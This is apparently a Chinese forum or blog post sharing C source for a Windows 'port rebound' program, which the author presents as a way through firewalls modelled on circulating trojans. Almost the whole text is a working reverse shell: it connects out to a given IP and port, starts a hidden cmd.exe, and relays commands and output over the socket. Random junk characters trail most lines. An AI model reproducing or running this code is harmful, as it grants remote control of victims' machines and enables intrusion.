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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~B%EvG7:n  
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/* ============================== z;x `dOP  
Rebound port in Windows NT amf=uysr  
By wind,2006/7 MBCA%3z08  
===============================*/ mQ#@"9l%  
#include =K2Dxu_:  
#include uPe4Rr  
uK]@! gz  
#pragma comment(lib,"wsock32.lib") =5&)^  
zTY|Z@:  
void OutputShell(); 4'rWy~` V  
SOCKET sClient; |0w'+HaE~N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !D%*s,t\'  
2]NP7Ee8 Z  
void main(int argc,char **argv) K@VXFV  
{ -5\aL"?4  
WSADATA stWsaData; xiU-}H'o  
int nRet; vII&v+C  
SOCKADDR_IN stSaiClient,stSaiServer; U-TwrX  
|6B:tw/.  
if(argc != 3) 32:,g4!~6  
{ %dZD;Vhg  
printf("Useage:\n\rRebound DestIP DestPort\n"); xtjTU;T  
return; -mZo`  
} ?{qw /&  
l1c&a[M)  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,$3  
)iy>sa{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tZ[BfO  
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stSaiClient.sin_family = AF_INET; 5h[u2&;G  
stSaiClient.sin_port = htons(0); p)ta c*US  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZP?k|sEH  
tH:ea$A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #s1M>M)  
{ )T#;1qNB  
printf("Bind Socket Failed!\n"); ?9X#{p>q  
return; :=~%&  
} >4\V/ I  
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stSaiServer.sin_family = AF_INET; <E@ 7CG.=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GMU<$x8o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h. i&[RnX  
LH 4-b-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oAWk<B(@  
{ QAi(uL5   
printf("Connect Error!"); Yx&cnDx  
return; |f8by\Q86=  
} o;Zoj}  
OutputShell(); ,-CDF)~G=3  
} r_xo>y~S  
fY=iQ?{/[  
void OutputShell() ~B(]0:  
{ YO!,m<b^u  
char szBuff[1024]; = k3O4gE7  
SECURITY_ATTRIBUTES stSecurityAttributes; U`6QD}c"s  
OSVERSIONINFO stOsversionInfo; i*_KHK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f'FY<ed<w  
STARTUPINFO stStartupInfo; V@>?lv(\  
char *szShell; 6WfyP@ f  
PROCESS_INFORMATION stProcessInformation; dGIu0\J\$  
unsigned long lBytesRead; vkq?z~GA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (53dl(L?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RW(AjDM  
stSecurityAttributes.lpSecurityDescriptor = 0; 4Bx1L+Cg  
stSecurityAttributes.bInheritHandle = TRUE; Z(K[oUJx  
8fM}UZI  
@hzQk~Gdi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S$+ v?Y`)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ynz^M{9)K  
3!Qt_,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ts;_T..L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7gVWu"  
stStartupInfo.wShowWindow = SW_HIDE; #]lUJ &M}e  
stStartupInfo.hStdInput = hReadPipe; IU$bP#<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 18[f_0@ #  
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GetVersionEx(&stOsversionInfo); Od&M^;BQ  
a m<R!(  
switch(stOsversionInfo.dwPlatformId) ~;eWQwD  
{ iLmU|jdE  
case 1: ,Qyz2- w  
szShell = "command.com"; e_1mO 5z  
break; 1 9 k$)m  
default: n[4Nu`E9  
szShell = "cmd.exe"; CPVKz   
break; VdeK~#k  
} $#RD3#=?u  
~Y'e1w$`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m6;Xo}^w  
~|uCZ.;o  
send(sClient,szMsg,77,0); !'{j"tv  
while(1) ?G?=,tV  
{ 2M&4]d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K6Gc)jp:b  
if(lBytesRead) ,6M-xSDs  
{ A^K,[8VX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M%B[>pONb7  
send(sClient,szBuff,lBytesRead,0); l m  
} SAH\'v0  
else h.?[1hT4R  
{ "L8V!M_e  
lBytesRead=recv(sClient,szBuff,1024,0); zl: u@!'  
if(lBytesRead<=0) break; \Flq8S/t^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y43#];  
} Ra{B8)Q  
} COHJJONR  
@\"*Z&]8z0  
return; chd${ j  
}
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